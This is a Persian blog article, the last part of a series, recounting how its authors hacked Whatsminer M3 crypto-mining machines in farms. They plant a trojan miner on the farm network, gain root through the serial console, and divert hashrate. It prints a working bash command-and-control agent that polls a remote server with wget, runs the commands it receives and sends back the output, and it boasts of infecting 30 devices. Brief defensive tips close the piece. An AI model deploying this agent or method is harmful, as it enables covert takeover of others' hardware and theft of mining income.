هک ماینر – قسمت سوم پایانی
در قسمت قبل مقاله(عملیات غیرممکن–نفوذ به مزرعه) یکسری توضیحات اجمالی در راستای هک ماینرهای M3x دادیم که البته قابلبسط به دیگر انواع ماینر نیز هست و بهسادگی با الگو برداری از آن قادر خواهید بود هرنوع دستگاه ماینرها را هک کنید؛ اما واقعا یک شبه ما به این توضیحات دست پیدا نکریم و فکر میکنم برای کاملتر شد مقاله لازمه بیشتر درخصوص مسیر طیشده توضیحبدیم، مثلا اینکه چیشد که نرمافزار CGMinger رو پیدا کردیم یا اینکه چی شد تونستیم وارد سیستمعامل ماینرها بشیم، در این مقاله بیشتر به این موضوعات خواهیم پرداخت و میدونم که برای خیلیها میتونه جذاب باشه چرا که دریچهای به هک سختافزارهای سیستمعامل دار باز میکنه که ماینرها یک بخش کوچک از دنیای بزرگ این مدل سختافزارها هستند، به روترها و گجتهای الکترونیکی مدرن فکر کنید که با این مدل هک چه تغییراتی نمی شود در آنها اعمال کرد. خوب اجازه بدهید پرحرفی رو کنار بگذاریم و مقاله رو شروع کنیم.
ایدهپردازی برای هک ماینر
همهچیز با یک سوال ساده شروع شد:
چطور میشود بدون داشتن ماینر ارز دیجیتال استخراج کرد؟
ممکناست جواب این سوال برای خیلیها یک «نمی شود» ساده باشد ولی وقتی قرار است سیستمی را هک کنید نباید خیلیساده از مسائل گذشت، همانطورکه ما هم نگذشتیم و جواب سوال را پیدا کردیم ?
درواقع پایه و اصول هکی که قصد انجام آنرا داشتیم بر دو چارچوب اساسی سوار بود:
- سادهانگاری صاحبان دستگاه و استفادهاز یوزر و پسورد پیشفرض
- ساختار حاکم بر فارمهای موجود در ایران(عدم ایزولهسازی دستگاهها از هم)
با کنارهم قرارگرفتن این دو مساله بهسادگی قادرخواهیمبود کنترل تکتک دستگاههای موجود در یک فارم را تحتکنترل خودمان دربیاوریم. اما چطور چنین چیزی ممکناست؟
فرضکنید به طریقی در شبکه محلی یک فارم(LAN) وارد شدهباشیم بهسادگی با یک آیپی اسکن ساده قادرخواهیمبود لیست دستگاههای موجود در شبکه را بهدستبیاوریم و از آنجاییکه پسورد و نام کاربری تمام دستگاهها همان نام کاربری و پسورد کارخانه است میتوان وارد پنل مدیریت آنها شده و آدرس استخرها را عوضکنیم یا هر تغییر دیگری که دلخواه باشد را اعمالکنیم.
تا اینجاکه مساله بسیارساده است، اولین سوالی که باید به آن پاسخ داد نحوه ورود و گرفتن دسترسی به یک فارم است! اینجاست که ایده اسب تروآ مطرحشده! اگر ماجرای اسب تروآ رو نمیدونید توصیه میکنم به این لینک مراجعهکنید و از ماجرا سردربیارید در دنیای هک کامپیوتر تروجان ها درواقع دقیقا از همین شیوه استفاده میکنند.
ساخت اسب تروآ برای هک ماینر
درواقع ایده اولیه اینه که ما یه دستگاهی که شکل ظاهریش مثل دستگاه ماینر است ولی باطنش یه چیز دیگه است(مثلا یه کامپیوتر) به یه فارم تحویلبدیم و منتظر باشیم که دستگاه نصب بشه و راه ارتباطی ما با شبکه لوکال فارم باشه. با وجود مینی کامپیوتر های مبتنیبر ARM ساخت چنین دستگاهی نباید کار سختی باشه، تنها کاری که باید انجامبدیم اینه که داخل یه جعبه ماینر مثلا یه رزبریپای جاسازی کنیم.
فارغاز ظاهر دستگاه مسالهای که ممکنه باعث لو رفتن اسب تروآ بشه اینهکه فارم دار بخواد وارد پنل مدیریت اسب تروآ بشه و بخواد اونو کانفیگ کنه که دقیقا مسالهساز میشه! چراکه پنل مدیریتی نداریم اگر هم بخوایم بسازیم احتمالا زمان زیادی خواهد گرفت باتوجهبه هیجانی که داشتیم برای انجام هرچه سریعتر کار زیاد معقول نبود.
خوب چه کار دیگهای میشه کرد –یکیاز دوستان اتاق فکر ایده داد که یه سوئیچ داخل دستگاه جاساز کنیم که هم برد خود ماینر باشه و هم میکروکامپیوتر هکر ما! خوب ایده بدی نبود ولی باتوجهبه محدودیت فضای موجود توی قسمت کنترلر ماینر شاید انجامش زیاد معقول بهنظر نمیرسید. تا این که ایده طلایی به ذهنم رسید.
فریمور ماینر رو هک کنیم
دوستان زیاد موافقنبودن و بهنظرشون شدنی نبود که بخوایم فریمور یک برد سیستمعامل دار رو هک کنیم، یا فکر میکردند اگر هم شدنی باشه اینقدر پیچیده خواهد بود که کار بسیار زمانبری است. اما بهنظر من باتوجهبه ساختار لینوکس کار نباید اینقدر ها هم سخت باشه! با این قرار از هم جدا شدیم که من برم بررسی کنم ببینم چطور میشه و اینکه آیا اصلا میشه فریمور Mainboard دستگاه رو هک کرد. ماینر هدف هم همون ماینری بود که همه ازش دارن یعنی Whatsminer M3.
هک فریمور دستگاه Whatsminer M3
عکسبالا درواقع برد کنترلر دستگاه Whatsminer M3 است، چیزی که روی برد مشخصه اینه که با یه SoC طرف هستیم که احتمالا لینوکس رو از روی NAND(همون آیسی بالای عکس که دو طرفش پایه داره و مستطیل شکل است) فلش داره بوت میکنه! خوب اینکه بخوایم آیسی فلش رو دمونتاژ کنیم و اطلاعات داخل اونو بخونیم باتوجهبه پیچیدگیهایی که داره درواقع آخرین کاری هست که قصد داریم انجامشبدیم، اما با نگاهکردن به برد چیزهایی دیگهای هست که ما رو بهعنوان یک الکترونیکی قلقلک بده.
و اون چیزی نیست جز مشاهده عبارت TX و RX روی پین هدر ۳ پایه J8 کنار خازن های الکترولیت؛ این دو عبارت برای ما مثل پیداکردن رمز سیستم کامپیوتری است برای هکرهای نرمافزار! بله دیگه دنیای ما هم این شکلیه، درواقع ارتباط سریال برای تبادل داده از این دو پایه استفاده میکنه– و حدس من این بود که طراح سیستم برای رفع عیب و احتمالا ارتقاء سیستم باید از این رابط استفادهکنه! اما چطور میشه فهمید؟ بهسادگی اتصال یه مبدل یواسبی به سریال و نرمافزار screen برای ما لینوکسیها و putty برای شما ویندوزی ها.
الان همهچیز آماده است و برای دیدن نتیجه باید سیستم رو روشنکرد، معمولا باوود ریت پیشفرض سیستمها ۱۱۵۲۰۰ است که ما هم اول با همین باوود چک میکنیم اگر دیتایی دریافت نکردیم باوود های دیگه رو چک میکنیم؛ یا اینکه همون اول میتونیم به سراغ لاجیک آنالایزر بریم و سعی و خطا رو کنار بگذاریم ?
تصویر بالا نشونمیده که حدسمان درستبوده و کنسول دیفالت لینوکس دقیقا روی همین پورت سریال تنظیمشدهاست و اتفاقا دسترسی به root سیستم هم دارد – گام اول بهخوبی برداشتهشد و دسترسی به سیستم حاصل شد بعداز بررسیها مشخصشد که سیستم از پلتفرم OpenWRT استفاده میکنه که خوشیمان را دوچندان کرد، این یعنی اینکه سیستم پک منیجر هم در اختیار داریم ?
تقریبا تا اینجای ساخت اسب تروآ خوب پیشرفته و مشخصشده که با لینوکس طرف هستیم دسترسی به یوزر اصلی سیستم رو هم داریم و این یعنی هر ان چیزی که برای تغییر لازم داریم رو در اختیار خواهیمداشت در ضمن مشخصشد که سرویس dropbear هم روی سختافزار درحال اجراست که ما را از اتصال هرباره پورت سریال بینیاز می کند و بهسادگی با ssh قادر هستیم به سیستم وصلشویم.
در این مرحله لازمبود که مجددا اتاق فکری تشکیلشود و راهکارهای احتمالا را بررسیکنیم. الان درواقع میتوانگفت که یک سیستم آماده داریم که بهسادگی میشود آنرا به اسب تروآ تبدیل کرد– اما سوال کلیدی این است که درون این اسب چه جنگافزارهایی باید قرار گیرد؟
اتاق فکر و بروزرسانی ایده اولیه
بگذارید اشارهکنم در زمانیکه درحال گشودن قفلهای سختافزار بودم دیگر دوستان بیکار ننشسته بودند و ایدههای نرمافزاری خودشون رو پیش می بردند! درواقع نرمافزاری رو نوشتهبودند که بهصورتخودکار در دستگاه Whatsminer M3 لاگین میکرد، آدرس استخرهای ماینیگ رو عوض میکرد و دستگاه رو ریست میکرد و این کار رو به شکل دورهای انجام میداد مدتی هم نرمافزار رو زیربار گذاشته بودند و جواب مطلوبی هم گرفتهبودند. اما مشکل کجاست؟
مشکل اینجا بود که سایتهای استخراج نظیر BTC وقتی دستگاهی از استخرش جدا میشه به کاربر اطلاع میده، یعنی با ارسال یک پیامک میگه فلان دستگاه قطعشده که خوب درواقع پاشنه آشیل این هک از این قرار بود که کاربر متوجه هک نشه! پس این راهحل جامع موردنظر نبود خوب ایدههای دیگهای مطرح میشد که هرکدام بهشکلی دچارمشکل بودند.
راهحل اولیهای که به ذهنم رسید این بود که ترافیک تمام ماینرها رو به سیستم خودمون منتقلکنیم و ما بهعنوان پاراکسی پروتکل Stratum را پیادهسازی کنیم که درواقع بتونیم لابهلای کارهای اصلی کار خودمون رو هم بدیم ماینر انجام بده? اما باز مشکلی وجود داشت، اول اینکه پیادهسازی Stratum کار سادهای نبود و سمپل پراکسی آمادهای هم براش پیدا نکردم و مهمتر از همه موقعیت اسب تروآ رو لو میداد(پیداکردن آیپی gateway) چیزی که اصلا ما دنبالش نبودیم.
یه راهدیگه این بود که کانفیگ یکیاز هش بردهای دستگاه رو از روی CGMiner برداریم بهنحویکه فکر کنه این هش برد اصلا وجود نداره و یک CGMiner دومی بر روی سیستمعامل اجراکنیم که کارهای ما رو با این هش برد انجامبده، اما اشکال این بود که یک سوم توان دستگاه کم میشد! خوب BTC اطلاع نمیداد که دستگاه قطعشده ولی اگر کاربر خودش چک میکرد متوجه میشد یکیاز هشبردها خرابشده و احتمالا دستگاه رو برای تعمیر از فارم خارج میکرد و رشتههای من کلا پنبه میشد.
پس راهحل چی میتونست باشه؟
کامپایل مجدد سیستمعامل یا نرمافزار استخراج ارز دیجیتال بیتکوین بهنحویکه علاوهبر لینکهای ورودی از یک منبع دومی هم ورودی بگیره و درصد خیلیکمی که خیلی هم محسوس نباشه رو به ورودی دوم اختصاص بده –خوشبختانه CGminer متنباز است و سورسش هم در دسترس همگان و البته امیدوار باشیم که شرکت Whatsminer سورس رو کاستوم نکرده باشه!
اما قبلا به بررسیهای کلیدهای ورودی CGMinner پرداختیم تا ببینیم آیا خودش چنین امکانی رو داره اصلا یا نه؟ که در کمال تعجبدیدیم که بله همچین امکانی بدون دردسر قابلتعریف است(جزییات بیشترش رو قسمت دوم مقاله میتونید پیدا کنید.) – و چی بهتر از این.
آمادهسازی اسب تروآ
حالا که ابزار و روش حمله مشخص شد باید بتونیم اسب تروآ رو آمادهکنیم! که به یه مساله جدید برخورد کردیم :/ فایل سیستمهای موجود برروی دستگاه ماینر یا توی رم mount شدهبودند یا اینکه ReadOnly بودند.
که خوب ممکنبود کار پیشرو را بسیار دشوار کند، ولی به لطف لینوکس و فایل سیستم ext4 با دستور زیر فایل سیستم رو مجددا درحالت خواندنی نوشتنی mount کردم ?
mount -o remount,rw /dev/nandd /
خوب بعداز این مرحله اسب ما آماده نصب ابزارهای جنگی خود است تا به فتح مزارع ماینر بپردازد.
دسترسی از پشت NAT!
بعداز آمادهسازی اسب تروآ لازمه که ازطریقی باهاش در ارتباط باشیم و دستورهای لازم رو از مرکز کنترل صادر کنیم که مثلا کی و چطور به کدوم دستگاه حمله کنه! احتمالا ایدهالترین حالت داشتن دسترسی ssh است ولی همونطورکه میدونیم اینترنت توی شبکه لوکال به شکل NAT در دسترس خواهد بود و داشتن ارتباط ssh بدون دردسر غیرممکنه برای همین بعداز کلی ایدهپردازی به سراغ پیادهسازی سیستمC2 (command and control) رفتم و با کمک Bash اسکریت بسیار محدود روی openwrt یه اسکریپت قابلقبول توی زمان معقولی نوشتم(حدود یکی دو ساعت با پیادهسازی سمت سرورش)! و نتیجه کد زیر بود:
#!/bin/bash #in openwrt need install "coreutils-base64" #All Command Code to Base 64 HOST=http://xyz.com/pull.php macstr=$(ifconfig eth0 | grep -o -E '([[:xdigit:]]{1,2}:){5}[[:xdigit:]]{1,2}') mac=${macstr//:/} hostname=$(cat /proc/sys/kernel/hostname) data="mac=$mac&host=$hostname" code=$(wget -qO- "$HOST" --post-data $data) cmd=$(echo $code | base64 --decode) index=$(awk -v a="$cmd" -v b="^" 'BEGIN{print index(a,b)}') Cid=${cmd:0:$(( $index-1 ))} Ccm=${cmd:$index:95555} if [ 0 -ne $Cid ] then res=$(echo "$($Ccm)" | base64) exc=$(echo $res | tr -d ' ' | tr -d '\n' | tr -d '\r') Rdata="id=$Cid&res=$exc" res=$(wget -qO- "$HOST" --post-data $Rdata) echo $res fi
که از مرکز کنترل(که با php نوشتم) دستوری رو برای اجرا بر روی دستگاه میگیره و جواب رو به سرور برمیگردونه!
هر دستگاهی هم براساس مک شبکه از باقی دستگاهها جدا میشه و بعداز الودهشدن به این اسکریپت خودش به یک اسب تروآ تبدیل میشه ? و احتمالا درصورت ادامه ارتشی رو خلق خواهد کرد از دستگاههای ماینر که علاوهبر ماینکردن احتمالا کاربرد دیگری نیز خواهند داشت(احتمالا هکرها منظورم رو متوجهخواهندشد).
وظیفه شناسایی و آلودهکردن دیگر دستگاهها از سمت مرکز کنترل مدیریت میشه! که بعداز حدود یک ساعت فعالیت ۳۰ دستگاه از نوع m3 رو آلودهکرد!!!!
و این بود سر انجام هک دستگاهها و فارم های ماینر!!
چطور از هک ماینر و فارم جلوگیری کنیم!
ما از ارائه این مطلب دو هدف عمده را دنبال میکنیم اول اینکه موضوع هک یک موضوع کاملا جدیه و اینکه بگیم که چطوری میشه از نفوذ هکرهای بالقوه جلوگیریکنیم، هکرهایی که میتونند به فارم یا دستگاههای شما نفوذ کنند و حاصل زحمت شما را بهراحتی به سرقت ببرند، که من در اینجا به چند مورداولیه و ساده اشاره میکنم.(درضمن ما در سه مقاله سعیکردیم از ارائه فوتهای کوزهگری جلوگیریکنیم تا خدای ناکرده این مقاله ها نتونه کمککننده به افراد سودجو باشه)
اول اینکه حتما سعیکنید موارد مربوطبه شبکه و اصول اون را درست پیادهسازی کنید و بههیچعنوان اگر اطلاعات دقیق ندارید سعینکنید خودتون شبکهای را راهاندازی کنید و دسترسی هم به افراد غیرمعتمد بههیچعنوان ندهید، افرادی که میتونند با یک ساعت در شبکه شما بودن ارتباط کاملی در اینده بین خودشون و فارم شما ایجاد کنند و حاصل دسترنج شما را به یغما ببرن!(این هم یکیاز خواص ویژه بیتکوین و کلا ارزهای دیجیتال هست)
حتما کلمه عبورهای سیستم و پسورد یوزرهای ادمین را عوضکنید تا افراد بهسادگی نتونن به سیستم شما نفوذ کنند.
بههیچعنوان اجازه ورود هر دستگاه ماینری را به مزرعه خودتون ندید.
همیشه سعیکنید کلیه دستگاههای خودتون و عکسالعملهای اونها را مانیتور کنید و درصورتیکه هرگونه تداخل یا مشکلی دیدید اونها را دقیق بررسیکنید!
در اخر لازمه این را بگم که وقتی بهعنوان یک مهندس الکترونیک این داستان هک را میخونید متوجهخواهید شد که شما بهعنوان یک متخصص این حوزه لازمه همزمان اطلاعات زیادی در حوزههای نرمافزاری هم داشتهباشید و صدالبته اگر در این حوزهها همراهان نرمافزاری هم مثل ما داشتهباشید متوجهخواهیدشد که یک پروژه بزرگ چطور میتونه بهخوبی ایدهپردازی بشه و در اخر هم انجامبشه.
که البته اواخر سال ۹۹ مبلغی که در حین اجرای پروژه بصورت بیتکوین دراومده بود که البته اون موقع ناچیز بود به محک واریز کردند.
منبع: سیسوگ